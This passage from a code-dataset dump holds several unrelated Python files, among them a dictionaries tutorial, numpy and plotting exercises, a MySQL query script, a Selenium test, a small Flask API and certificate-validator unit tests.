number\nprint(inhabitants)\n\n'''\n#Iterating through items\n#When you’re working with dictionaries, it’s likely that you need to use the keys and the values. To loop through both, you can use the dict.items() method. This method returns a view object, containing key-value pairs as a list of tuples.\n#We can determine the student with the lowest test score using the dict.items() method in combination with a for loop as follows:\n'''\n\n# students grades dictionary\nprint(grades)\n# {'Alba': 9.5, 'Eduardo': 10, 'Normando': 2.5, 'Helena': 6.5, 'Claudia': 7.5, 'Violeta': 6, 'Marco': 6.5, 'Paola': 8}\n\n# dict.items() - dictionary view object containing key-value pairs as a list of tuples\ngrades.items()\n# dict_items([('Alba', 9.5), ('Eduardo', 10), ('Normando', 2.5), ('Helena', 6.5), ('Claudia', 7.5),\n# ('Violeta', 6), ('Marco', 6.5), ('Paola', 8)])\n\n# determine student with the lowest test score\nmin_grade = 10\nmin_student = ''\nfor student, grade in grades.items():\n if grade < min_grade:\n min_student = student\n min_grade = grade\n\nprint(\"LOwest test score\",min_student)\n# Normando\n\n'''\n#11. Dictionary comprehensions\nPython for-loops are very handy in dealing with repetitive programming tasks; however, there is another alternative to achieve the same results in a more efficient way: dictionary comprehensions.\nDictionary comprehensions allow the creation of a dictionary using an elegant and simple syntax: {key: value for vars in iterable}. In addition, they are faster than traditional for-loops.\nWe can filter the products with a price lower than 100 euros using both a traditional for-loop and a dictionary comprehension. '''\n\n# list of prices\nprint(products)\n# {'table': 120, 'chair': 40, 'lamp': 14, 'bed': 250, 'mattress': 100, 'pillow': 10, 'shelf': 70, 'sofa': 400}\n\n##########################\n###traditional for loop###\n##########################\n\n# empty dictionary\nproducts_low = {}\n\n# select only the items with a price lower than 100\nfor product, value in products.items():\n if value < 100:\n products_low.update({product: value})\n\nprint(products_low)\n# {'chair': 40, 'lamp': 14, 'pillow': 10, 'shelf': 70}\n\n\n##############################\n###dictionary comprehension###\n##############################\n\n# select only the items with a price lower than 100\nproducts_low = {product: value for product, value in products.items() if value < 100}\n\nprint(products_low)\n# {'chair': 40, 'lamp': 14, 'pillow': 10, 'shelf': 70}\n#As we can observe, dictionary comprehensions provide the same results as traditional for-loops in a more elegant way.\n\n'''\n12. Nested dictionaries\nNested dictionaries are dictionaries that contain other dictionaries. We can create a nested dictionary in the same way we create a normal dictionary using curly brackets ({}).\nThe following nested dictionary contains information about 5 famous works of art. As we can observe, the values of the dictionary are other dictionaries as well.\n'''\n# nested dictionary containing information about famous works of art\nworks_of_art = {'The_Starry_Night': {'author': 'Van Gogh', 'year': 1889, 'style': 'post-impressionist'},\n 'The_Birth_of_Venus': {'author': 'Sandro Botticelli', 'year': 1480, 'style': 'renaissance'},\n 'Guernica': {'author': 'Pablo Picasso', 'year': 1937, 'style': 'cubist'},\n 'American_Gothic': {'author': 'Grant Wood', 'year': 1930, 'style': 'regionalism'},\n 'The_Kiss': {'author': 'Gustav Klimt', 'year': 1908, 'style': 'art nouveau'}}\nprint(works_of_art)\n#To access elements in a nested dictionary, we specify the keys using multiple square brackets ([]).\n# access elements in a nested dictionary\nworks_of_art['Guernica']['author']\n# 'Pablo Picasso'\n\nworks_of_art['American_Gothic']['style']\n# 'regionalism'\n\n#13. Alternative containers : OrderedDict, defaultdict, and Counter\n'''\nThe collections module provides alternative container datatypes to built-in Python containers. Three dictionary subclasses contained in the collections module that are pretty handy when working with Python are: (1)OrderedDict, (2)defaultdict, and (3)Counter.\nOrderedDict\nOrderedDict consists of a dictionary that remembers the order in which its contents are added. In Python 3.6+ dictionaries are also insertion ordered, meaning they remember the order of items inserted. However, to guarantee element order across other Python versions, we have to use OrderedDict containers.\n'''\n\nimport collections\n\n# create an OrderedDict of chemical elements\ndictionary = collections.OrderedDict({'hydrogen': 1, 'helium': 2, 'carbon': 6, 'oxygen': 8})\n\n# type OrderedDict\nprint(type(dictionary))\n# \n\n# dictionary keys --> .keys() method\nprint(dictionary.keys())\n# odict_keys(['hydrogen', 'helium', 'carbon', 'oxygen'])\n\n# dictionary values --> .values() method\nprint(dictionary.values())\n# odict_values([1, 2, 6, 8])\n\n# insert a new element\ndictionary['nitrogen'] = 7\n\n# nitrogen last position since it is the last element added\nprint(dictionary)\n# OrderedDict([('hydrogen', 1), ('helium', 2), ('carbon', 6), ('oxygen', 8), ('nitrogen', 7)])\n#As shown above, OrderedDict accepts dictionary methods and functions. Moreover, elements can be inserted, changed, or deleted in the same way as with normal dictionaries.\n\nimport collections\n\n# create an OrderedDict of chemical elements\ndictionary = collections.OrderedDict({'hydrogen': 1, 'helium': 2, 'carbon': 6, 'oxygen': 8})\n\n# type OrderedDict\nprint(type(dictionary))\n# \n\n# dictionary keys --> .keys() method\nprint(dictionary.keys())\n# odict_keys(['hydrogen', 'helium', 'carbon', 'oxygen'])\n\n# dictionary values --> .values() method\nprint(dictionary.values())\n# odict_values([1, 2, 6, 8])\n\n# insert a new element\ndictionary['nitrogen'] = 7\n\n# nitrogen last position since it is the last element added\nprint(dictionary)\n# OrderedDict([('hydrogen', 1), ('helium', 2), ('carbon', 6), ('oxygen', 8), ('nitrogen', 7)])\n\n#As shown above, OrderedDict accepts dictionary methods and functions. Moreover, elements can be inserted, changed, or deleted in the same way as with normal dictionaries.\n\n#defaultdict\n#Defaultdicts are a dictionary subclass that assign a default value when a key is missing (it has not been set yet). They never raise a KeyError, if we try to access an item that is not available in the dictionary, instead a new entry is created.\n#Defaultdicts take a function as an argument, and initialize the missing key with the value returned by the function. In the example below, the keys are initialized with different values, depending on the function employed as first argument.\n\n\nimport collections\nimport numpy as np\n\n# missing key initialized with a 0\ndefault_1 = collections.defaultdict(int)\n\ndefault_1['missing_entry']\nprint(default_1)\n# defaultdict(, {'missing_entry': 0})\n\n# missing key initialized with an empty list\ndefault_2 = collections.defaultdict(list, {'a': 1, 'b': 2})\n\ndefault_2['missing_entry']\nprint(default_2)\n# defaultdict(, {'a': 1, 'b': 2, 'missing_entry': []})\n\n# missing key initialized with a string\ndefault_3 = collections.defaultdict(lambda : 'Not given', a=1, b=2)\n\ndefault_3['missing_entry']\nprint(default_3)\n# defaultdict( at 0x000001DEF6ADF730>, {'a': 1, 'b': 2, 'missing_entry': 'Not given'})\n\n# missing key initialized with a numpy array\ndefault_4 = collections.defaultdict(lambda: np.zeros(2))\n\ndefault_4['missing_entry']\nprint(default_4)\n# defaultdict( at 0x000001DEF6ADF950>, {'missing_entry': array([0., 0.])})\n#As we can observe, we can pass a dictionary or keywords as second argument (optional) to initialize the defaultdict container.\n\n\n#Counter\n#A Counter is a dictionary subclass for counting hastable objects. The function returns a Counter object, where elements are stored as keys and their counts are stored as values. Using this function, we can easily count the elements of a list, as shown below.\n\nletters = ['a','b','c','a','b','e','d']\n\ncounter = collections.Counter(letters)\nprint(counter)\nprint(counter.most_common(3))\n#As shown above, we can easily obtain the most frequent elements with the .most_common([n]) method. This method returns a list of the n most common elements and their counts.\n\n#14. Create a Pandas DataFrame from a dictionary.\n#A Pandas DataFrame is a two-dimensional tabular data where each row represents an observation and each column a variable. A Pandas DataFrame can be created using the pandas.DataFrame constructor. This function accepts as input various python containers (e.g. lists, dictionaries, or numpy arrays). However, in this article, we explain only the ways to create a DataFrame that involve the use of dictionaries.\n#Create a DataFrame from a dictionary\n#We can create a DataFrame from a dictionary, where the keys represent column names, and the values represent column data in the following manner:\n\nimport pandas as pd\n\n# create a Pandas DataFrame from a dictionary - keys (column name) - value (column data)\ndf = pd.DataFrame({'name': ['Mario', 'Violeta', 'Paula'],\n 'age': [22, 27, 19],\n 'grades': [9, 8.5, 7]})\nprint(df)\n#As we can observe, the default index is just the row number (an integer index beginning at 0). We can modify these indexes by passing the index list to the DataFrame constructor.\n\ndf_index = pd.DataFrame({'name': ['Mario', 'Violeta', 'Paula'],\n 'age': [22, 27, 19],\n 'grades': [9, 8.5, 7]}, index=['student_1','student_2','student_3'])\n\nprint(df_index)\n\n#Create a DataFrame from a list of dictionaries\n#A list of dictionaries can also be used to create a DataFrame, where the keys represent column names. As before, we can change indexes by passing the index list to the DataFrame function.\n# create a Pandas DataFrame from a list of dictionaries - keys(column name) - with custom indexes\ndf_2 = pd.DataFrame([{'name': 'Mario', 'age': 22, 'grades':9},\n {'name': 'Violeta', 'age': 27, 'grades':8.5},\n {'name': 'Paula', 'age': 19, 'grades':7}], index=['student_1', 'student_2', 'student_3'])\n\nprint(df_2)","sub_path":"towardsdatascience_dictionaries.py","file_name":"towardsdatascience_dictionaries.py","file_ext":"py","file_size_in_byte":22027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"580697267","text":"#!/usr/bin/env python\n\nimport BaseHTTPServer\nimport logging\nimport optparse\nimport sys\n\nimport pages\n\nclass TibstatsHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):\n\n def do_GET(self):\n self.process_request()\n\n def do_POST(self):\n self.process_request()\n\n def do_HEAD(self):\n self.send_error(418, \"Short and stout\")\n\n def process_request(self):\n pages.handle_http_request(self)\n\n # maybe want to hook the internal request logging mechanism?\n #def log_message(self, format, *posargs):\n # logging.info(format, *posargs)\n\ndef main():\n parser = optparse.OptionParser()\n parser.add_option(\"-p\", \"--port\", type=\"int\", default=17091)\n opts, args = parser.parse_args()\n logging.basicConfig(level=logging.DEBUG)\n server_class = BaseHTTPServer.HTTPServer\n handler_class = TibstatsHTTPRequestHandler\n server_address = (\"\", opts.port)\n logging.info(\"Starting server on %s\", server_address)\n httpd = server_class(server_address, handler_class)\n httpd.serve_forever()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"projects/tibstat/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"440862144","text":"import numpy as np\n\nN = 4\nM = 5\n\nA = np.random.randint(low=-9, high=10, size=(N, M))\nprint(\"Матрица:\\r\\n{}\\n\".format(A))\n\nSum = A.sum()\nprint(\"Сумма элементов всей матрицы: \" + str(Sum) + \"\\n\")\nSum_column = A.sum(axis=1)\nX = []\nfor i in range(0, N):\n n = Sum_column[i] / Sum\n X.append(n)\nX = np.array(X)[: , np.newaxis]\nA = np.hstack((A, X))\n\nprint(A)\n","sub_path":"2 часть курсовой/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"377571934","text":"#Вторая программа\n\nfrom matplotlib import pyplot\nfrom openpyxl import load_workbook\n\ndef getvalue(x):\n return x.value\n\nwb = load_workbook('data_analysis_lab.xlsx')\n\nlict = wb['Data']\n\nyears = list(map(getvalue, lict['A'][1:]))\nrelative_temp = list(map(getvalue, lict['C'][1:]))\nactivity = list(map(getvalue, lict['D'][1:]))\n\npyplot.plot(years, relative_temp, label=\"Относительная температура\")\npyplot.plot(years, activity, label=\"Солнечная активность\")\n\npyplot.xlabel('Год')\npyplot.ylabel('Температура/Солнечная активность')\npyplot.legend(loc='best')\n\npyplot.show()","sub_path":"Lab1.2/SecondLab.py","file_name":"SecondLab.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"171196177","text":"class TreeNode(object):\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n def rightSideView(self, root):\n if not root:\n return []\n queue = []\n queue.append(root)\n result = []\n\n while queue:\n size = len(queue)\n for i in range(size):\n node = queue[0]\n queue = queue[1:]\n if node.left:\n queue.append(node.left)\n if node.right:\n queue.append(node.right)\n result.append(node.val)\n\n return result","sub_path":"2021-02-02_DFS-BFS/199_BinaryTreeRightSideView.py","file_name":"199_BinaryTreeRightSideView.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"102472638","text":"#!/usr/bin/python3\n\"\"\"Conn module\"\"\"\nimport MySQLdb\nfrom sys import argv\n\nif __name__ == '__main__':\n myU = argv[1]\n myP = argv[2]\n myDB = argv[3]\n sName = argv[4]\n myH = \"localhost\"\n db = MySQLdb.connect(host=myH, port=3306, user=myU, passwd=myP, db=myDB)\n cur = db.cursor()\n myQ = \"SELECT c.name FROM cities AS c, states AS s \"\n myQ += \"WHERE s.name = %s AND s.id = c.state_id ORDER BY c.id;\"\n cur.execute(myQ, (sName,))\n result = cur.fetchall()\n if (len(result) is not 0):\n for row in result:\n for col in row:\n if (result.index(row) is len(result) - 1):\n print(col)\n else:\n print(col, end=', ')\n else:\n print()\n cur.close()\n db.close()\n","sub_path":"0x0F-python-object_relational_mapping/5-filter_cities.py","file_name":"5-filter_cities.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"465565935","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # @param {TreeNode} root\n # @return {string[]}\n def binaryTreePaths(self, root):\n \n if root is None: return []\n \n def allBinaryTreePaths(currPath, pathSets, currNode):\n if currNode.left is None and currNode.right is None:\n pathSets.append(currPath)\n else:\n if currNode.left:\n allBinaryTreePaths(currPath + '->' + str(currNode.left.val), pathSets, currNode.left)\n if currNode.right:\n allBinaryTreePaths(currPath + '->' + str(currNode.right.val), pathSets, currNode.right)\n \n pathSets = []\n allBinaryTreePaths(str(root.val), pathSets, root)\n return pathSets","sub_path":"257-Binary-Tree-Paths/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"316298554","text":"import unittest\nimport config\nimport os\nimport time\nfrom LoginMain import UserLogin\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as ec\n\n\nclass DocumentUpload(unittest.TestCase):\n def setUp(self):\n self.login = UserLogin().__int__()\n self.login.signin.click()\n start_translate = WebDriverWait(self.login.driver, 20) \\\n .until(lambda driver: driver.find_element_by_id(\"start-translate\"))\n start_translate.click()\n self.source_lang = self.login.driver.find_element_by_id(\"source-lang\")\n self.target_lang = self.login.driver.find_element_by_id(\"target-lang\")\n self.upload = self.login.driver.find_element_by_id(\"upload\")\n self.back = self.login.driver.find_element_by_id(\"back\")\n self.file_upload = self.login.driver.find_element_by_xpath(\"//input[@type='file']\")\n time.sleep(3)\n\n def test1_upload_document(self):\n try:\n driver = self.login.driver\n self.source_lang.click()\n source_english = WebDriverWait(driver, 20).until(lambda d: d.find_element_by_id(\"English\"))\n source_english.click()\n self.target_lang.click()\n target_hindi = WebDriverWait(driver, 20).until(lambda d: d.find_element_by_id(\"Hindi\"))\n target_hindi.click()\n time.sleep(2)\n self.file_upload.send_keys(\"/home/roshan/Downloads/2c6d61e3-3a84-4f37-814e-d20f2073a05f.pdf\")\n time.sleep(5)\n self.upload.click()\n result = WebDriverWait(driver, 20).until(lambda d: d.current_url == config.view_document_url)\n time.sleep(5)\n if result:\n print(\n f'=HYPERLINK(\"{config.hyperlink_pretext}{os.path.basename(__file__)}\";\"test1_upload_document\"),PASSED')\n except Exception:\n print(\n f'=HYPERLINK(\"{config.hyperlink_pretext}{os.path.basename(__file__)}\";\"test1_upload_document\"),FAILED')\n finally:\n driver.quit()\n\n def test2_click_on_back_button(self):\n try:\n driver = self.login.driver\n self.back.click()\n result = WebDriverWait(driver, 20).until(lambda d: d.current_url == config.view_document_url)\n time.sleep(5)\n if result:\n print(\n f'=HYPERLINK(\"{config.hyperlink_pretext}{os.path.basename(__file__)}\";\"test2_click_on_back_button\"),PASSED')\n except Exception:\n print(\n f'=HYPERLINK(\"{config.hyperlink_pretext}{os.path.basename(__file__)}\";\"test2_click_on_back_button\"),FAILED')\n finally:\n driver.quit()\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/DocumentUpload.py","file_name":"DocumentUpload.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"574538046","text":"from flask import Flask, jsonify, request, send_file, send_from_directory, flash, render_template, url_for, redirect\nfrom flask_restful import Api\n\nfrom flask_login import LoginManager, login_user, logout_user, login_required, current_user\n\nfrom db import db\nfrom blacklist import BLACKLIST\nfrom resources.user import User, UserLogin\nfrom resources.wordpress import Wordpress, WordpressList\nfrom resources.wordpressCust import WordpressCust, WordpressListCust\nfrom resources.store import Store, StoreList\nfrom resources.accessiDb import Db, DbList\nfrom resources.cPanel import Cpanel, CpanelList\nfrom resources.ftp import Ftp, FtpList\nfrom resources.plugin import Plugin, PluginList\nfrom models.user import UserModel\n\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///data.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True\napp.config['PROPAGATE_EXCEPTIONS'] = True\n# enable blacklist feature\n# allow blacklisting for access and refresh tokens\n\napp.secret_key = 'jose' # could do app.config['JWT_SECRET_KEY'] if we prefer\n# Configure application to store JWTs in cookies. Whenever you make\n# a request to a protected endpoint, you will need to send in the\n# access or refresh JWT via a cookie.\n\napi = Api(app)\nlogin_manager = LoginManager(app)\ndb.init_app(app)\n\n\n@app.before_first_request\ndef create_tables():\n db.create_all()\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n return UserModel.query.get(int(user_id))\n\n\napi.add_resource(Store, '/store/')\napi.add_resource(StoreList, '/stores')\n# wordpress\napi.add_resource(Wordpress, '/wordpress/')\napi.add_resource(WordpressList, '/wordpress')\n# wordpress User\napi.add_resource(WordpressCust, '/wordpress-cust/')\napi.add_resource(WordpressListCust, '/wordpress-cust')\n# database\napi.add_resource(Db, '/db/')\napi.add_resource(DbList, '/db')\n# cPanel\napi.add_resource(Cpanel, '/cpanel/')\napi.add_resource(CpanelList, '/cpanel')\n# ftp\napi.add_resource(Ftp, '/ftp/')\napi.add_resource(FtpList, '/ftp')\n# plugin\napi.add_resource(Plugin, '/plugin/')\napi.add_resource(PluginList, '/plugin')\n\n\n# api.add_resource(UserRegister, '/register')\napi.add_resource(User, '/user/')\napi.add_resource(UserLogin, '/api/login')\n\n\n#------------------Login Form---------------#\n\n\n@app.route('/')\n@login_required\ndef finder():\n return render_template('build/index.html')\n\n\n@app.route('/')\ndef login():\n return render_template('build/index.html')\n\n\n@app.route('/logout')\n@login_required\ndef logout():\n logout_user()\n return 'Log out effettuato '\n\n\nif __name__ == '__main__':\n\n login_manager.init_app(app)\n\n app.run(port=5000, debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"251899494","text":"# Tome como referencia los formatos del video del curso \"Ejemplo - Gráfica de ciudades colombianas\". \n\n#Escriba un programa de Python que:\n\n#1. Tenga una función que se llama lee_datos que tiene como primer\n#argumento la cadena de caracteres que representa el nombre del\n#archivo con las coordenadas (con el mismo formato del video) y como\n#segundo argumento la cadena de caracteres que representa el nombre\n#del archivo con los nombres de las ciudades. La función debe devolver\n#dos arrays de numpy, el primer array corresponde a las coordenadas y\n#el segundo a los nombres de las ciudades. \n\n#2. Tenga una función que se llama genera_recorrido. Esta función\n#tiene como argumento de entrada un array con nombres de ciudades. La\n#función genera una lista aleatoria de n+1 enteros donde el primer y\n#último elemento es el número 0. n es la longitud del array del nombre\n#de ciudades. Los demás elementos de la lista deben incluir, en\n#desorden, los números del 1 al n-1. En este lista el entero n va a\n#representar a la ciudad n-esima en el array de entrada. Esta lista de\n#enteros va a representar entonces un recorrido que empieza y termina\n#en la primera ciudad de la lista y pasa por todas las ciudades. La\n#función debe devolver la lista de n+1 enteros. \n\n#3. Tenga una función que se llama calcula_distancia. Esta función\n#toma como primer argumento de entrada un array de coordenadas de\n#ciudades, como segundo argumento un entero a, como tercer argumento\n#un entero b. Los enteros representan las filas del array de\n#coordenadas. La función deben calcular la distancia entre las dos\n#ciudades representadas por los dos enteros a y b, dadas las\n#coordenadas de entrada. La función debe devolver el valor de la\n#distancia. Calcule esta distancia asumiendo que la Tierra es una\n#esfera perfecta de radio 6400 km y que la medición se hace sobre el\n#arco de longitud mínima sobre esa\n#esfera https://www.johndcook.com/lat_long_details.html \n\n#4. Tenga una función que se llama calcula_distancia_total. Esta\n#función toma como primer argumento de entrada un array de coordenadas\n#de ciudades y como segundo argumento una lista con al menos dos\n#enteros. Los enteros representan las filas del array de\n#coordenadas. La función debe calcular la distancia total del\n#recorrido representado por la lista de enteros de entrada. La función\n#debe devolver la distancia total. \n\n#5. Tenga una función que se llama encuentra_recorrido. La\n#función toma como primer argumento el nombre del archivo con\n#coordenadas de ciudades y como segundo argumento el nombre del\n#archivo con los nombres de las ciudades. La función utiliza las\n#funciones de los cuatro puntos anteriores para generar 100 recorridos\n#diferentes por las ciudades de los archivos de entrada. De esos 100\n#recorridos encuentra el recorrido de menor longitud total y lo\n#grafica en un plano Longitud-Latitud donde cada ciudad está\n#representada por un punto y su nombre. Los pares de ciudades que\n#están conectadas en el recorrido se representan por una línea recta\n#en el plano Longitud-Latitud. La gráfica debe guardarse como\n#\"recorrido_mas_corto.png\". La función devuelve None. \n\n#Pueden usar la función shuffle de numpy\n#(https://docs.scipy.org/doc/numpy-1.15.0/reference/generated/numpy.random.shuffle.html) \n#Solamente son permitidas las funciones y métodos que aparezcan en los\n#videos vistos hasta ahora en el curso.  \n\n#El programa debe estar en un archivo llamado\n#\"ApellidoNombre_Ejercicio04.py\" donde Apellido y Nombre debe\n#reemplazarlos con su apellido y nombre. El archivo solamente debe\n#incluir los imports necesarios y las funciónes pedida. Suba ese\n#archivo como respuesta a esta actividad. \n\n#Al ejecutar \"python ApellidoNombre_Ejercicio04.py\" no se\n#debe producir ningún error, nada se debe imprimir en pantalla y\n#ningún archivo debe ser creado por el programa. \n\n#Para calificar el ejercicios vamos a llamar la función\n#encuentra_recorrido con dos nombres de archivos y contenidos\n#diferentes a los del video. Esos archivos contienen los datos de al\n#menos cuatro ciudades. \n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef lee_datos(archivo_coordenadas, archivo_nombres):\n coordenadas = np.loadtxt(archivo_coordenadas, delimiter=\",\")\n nombres = np.loadtxt(archivo_nombres, dtype=\"str\")\n return coordenadas, nombres\n\ndef genera_recorrido(nombres):\n n = len(nombres)\n r = np.arange(n-1)+1\n np.random.shuffle(r)\n r = [0] + list(r) + [0]\n return r\n\ndef calcula_distancia(coordenadas, a, b):\n latitud = coordenadas[:,0]\n longitud = coordenadas[:,1]\n\n phi = 90.0 - latitud\n theta = longitud\n theta[longitud<0] = 360.0 + longitud[longitud<0]\n\n phi = phi * np.pi/180.0\n theta = theta * np.pi/180.0\n\n psi = np.sin(phi[a])*np.sin(phi[b]) * np.cos(theta[a]-theta[b])\n psi = psi + np.cos(phi[a]) * np.cos(phi[b])\n psi = np.arccos(psi)\n rho = 6400.0\n return rho*psi\n\ndef calcula_distancia_total(coordenadas, recorrido):\n d = 0\n for i in range(len(recorrido)-1):\n d += calcula_distancia(coordenadas, recorrido[i], recorrido[i+1])\n return d\n\ndef encuentra_recorrido(archivo_coordenadas, archivo_nombres):\n coordenadas, nombres = lee_datos(archivo_coordenadas, archivo_nombres)\n\n d_min = 1E10\n r_min = []\n for i in range(100):\n r = genera_recorrido(nombres)\n d = calcula_distancia_total(coordenadas, r)\n if d < d_min:\n d_min = d\n r_min = r.copy()\n\n plt.figure()\n n_ciudades = len(nombres)\n for i in range(n_ciudades):\n plt.text(coordenadas[i,1], coordenadas[i,0], nombres[i])\n\n plt.scatter(coordenadas[r_min,1], coordenadas[r_min,0])\n plt.plot(coordenadas[r_min,1], coordenadas[r_min,0])\n\n plt.xlabel(\"Longitud [grados]\")\n plt.ylabel(\"Latitud [grados]\")\n plt.axis('equal')\n plt.savefig(\"recorrido_mas_corto.png\")\n\n return None\n\n","sub_path":"soluciones/ejercicio_04.py","file_name":"ejercicio_04.py","file_ext":"py","file_size_in_byte":5936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"461057084","text":"from collections import OrderedDict\n\ndef main():\n f = open('21-input.txt', 'r')\n lines = f.read().split('\\n')[:-1]\n f.close()\n\n foods = []\n allergens = []\n for line in lines:\n foods.append((line.split(' (')[0].split(' '), line.split('contains ')[1][:-1].split(', ')))\n allergens.extend(line.split('contains ')[1][:-1].split(', '))\n \n allergens = remove_duplicates(allergens)\n\n possibles = {}\n for allergen in allergens:\n allergen_foods = []\n ingredients = []\n for food in foods:\n if allergen in food[1]:\n allergen_foods.append(food[0])\n ingredients.extend(food[0])\n ingredients = remove_duplicates(ingredients)\n \n matching = []\n for ingredient in ingredients:\n failed = False\n for allergen_food in allergen_foods:\n if ingredient not in allergen_food:\n failed = True\n break\n if not failed:\n matching.append(ingredient)\n \n possibles[allergen] = matching\n\n finals = {}\n while len(finals) < len(possibles):\n for allergen, ingredients in possibles.items():\n if len(ingredients) == 1:\n finals[allergen] = ingredients[0]\n for key in possibles.keys():\n if key == allergen:\n continue\n if ingredients[0] in possibles[key]:\n possibles[key].remove(ingredients[0])\n\n bad = []\n ordered_finals = OrderedDict(sorted(finals.items()))\n for key, value in ordered_finals.items():\n bad.append(value)\n result = ','.join(bad)\n\n print('Result:', result)\n\ndef remove_duplicates(_list):\n temp = []\n for i in _list:\n if i not in temp:\n temp.append(i)\n return temp\n\nif __name__ == '__main__':\n main()\n\n# Result: \n","sub_path":"Day 21/21-2.py","file_name":"21-2.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"645004712","text":"# -*- coding: utf-8 -*-\n\"\"\"Tests for the `provider` module.\"\"\"\n\nfrom unittest.mock import patch\n\nfrom certificate_validator.provider import (\n Provider, Request, RequestResourceProperties, RequestType, Response,\n Status\n)\n\nfrom .base import (\n BaseTestCase, ProviderBaseTestCase, RequestBaseTestCase,\n ResponseBaseTestCase\n)\n\n\nclass RequestTypeTestCase(BaseTestCase):\n def setUp(self):\n super(RequestTypeTestCase, self).setUp()\n\n def test_class(self):\n self.assertEqual('Create', RequestType.CREATE.value)\n self.assertEqual('Update', RequestType.UPDATE.value)\n self.assertEqual('Delete', RequestType.DELETE.value)\n\n\nclass StatusTestCase(BaseTestCase):\n def setUp(self):\n super(StatusTestCase, self).setUp()\n\n def test_class(self):\n self.assertEqual('SUCCESS', Status.SUCCESS.value)\n self.assertEqual('FAILED', Status.FAILED.value)\n\n\nclass RequestTestCase(RequestBaseTestCase):\n def setUp(self):\n super(RequestTestCase, self).setUp()\n\n def test_init(self):\n kwargs = {'a': 1, 'b': 2, 'c': 3}\n r = Request(**kwargs)\n self.assertEqual(1, r.a)\n self.assertEqual(2, r.b)\n self.assertEqual(3, r.c)\n self.assertEqual(Request.DEFAULT_REGION, r.region)\n\n def test_request_type(self):\n self.assertEqual('request_type', self.request.request_type)\n\n def test_service_token(self):\n self.assertEqual('service_token', self.request.service_token)\n\n def test_response_url(self):\n self.assertEqual('response_url', self.request.response_url)\n\n def test_stack_id(self):\n self.assertEqual('stack_id', self.request.stack_id)\n\n def test_request_id(self):\n self.assertEqual('request_id', self.request.request_id)\n\n def test_resource_type(self):\n self.assertEqual('resource_type', self.request.resource_type)\n\n def test_logical_resource_id(self):\n self.assertEqual(\n 'logical_resource_id', self.request.logical_resource_id\n )\n\n def test_physical_resource_id(self):\n self.assertEqual(\n 'physical_resource_id', self.request.physical_resource_id\n )\n kwargs = {}\n r = Request(**kwargs)\n self.assertEqual('', r.physical_resource_id)\n\n def test_resource_properties(self):\n self.assertEqual(\n 'service_token', self.request.resource_properties.service_token\n )\n\n def test_resource_properties_none(self):\n r = Request(ResourceProperties=None)\n properties = r.resource_properties\n self.assertIsInstance(properties, RequestResourceProperties)\n # TODO\n\n def test_old_resource_properties(self):\n self.assertEqual(\n 'service_token', self.request.old_resource_properties.service_token\n )\n\n def test_old_resource_properties_none(self):\n r = Request(OldResourceProperties=None)\n properties = r.old_resource_properties\n self.assertIsInstance(properties, RequestResourceProperties)\n # TODO\n\n def test_sans(self):\n kwargs = {\n 'ResourceProperties': {\n 'SubjectAlternativeNames': ['www.certificate-validator.com']\n }\n }\n r = Request(**kwargs)\n self.assertEqual(['www.certificate-validator.com'],\n r.resource_properties.sans)\n\n def test_old_sans(self):\n kwargs = {\n 'OldResourceProperties': {\n 'SubjectAlternativeNames': ['www.certificate-validator.com']\n }\n }\n r = Request(**kwargs)\n properties = r.resource_properties\n old_properties = r.old_resource_properties\n self.assertEqual([], properties.sans)\n self.assertEqual(['www.certificate-validator.com'],\n old_properties.sans)\n\n def test_sans_with_empty_only(self):\n self.assertEqual([], self.request.resource_properties.sans)\n for case in [None, [''], [None], ['', None], [None, '']]:\n kwargs = {'ResourceProperties': {'SubjectAlternativeNames': case}}\n r = Request(**kwargs)\n properties = r.resource_properties\n self.assertEqual([], properties.sans,\n \"Failed test. input %s, expected %s, got %s\" %\n (case, [], properties.sans))\n\n def test_sans_with_mixed(self):\n for case in [['', 'www.certificate-validator.com'],\n [None, 'www.certificate-validator.com'],\n ['www.certificate-validator.com', None],\n ['', 'www.certificate-validator.com', None],\n [None, '', 'www.certificate-validator.com']]:\n kwargs = {'ResourceProperties': {'SubjectAlternativeNames': case}}\n r = Request(**kwargs)\n properties = r.resource_properties\n sans = properties.sans\n self.assertEqual(['www.certificate-validator.com'], sans,\n \"Failed test. input %s, expected %s, got %s\" %\n (case, ['www.certificate-validator.com'], sans))\n\n def test_region_default(self):\n 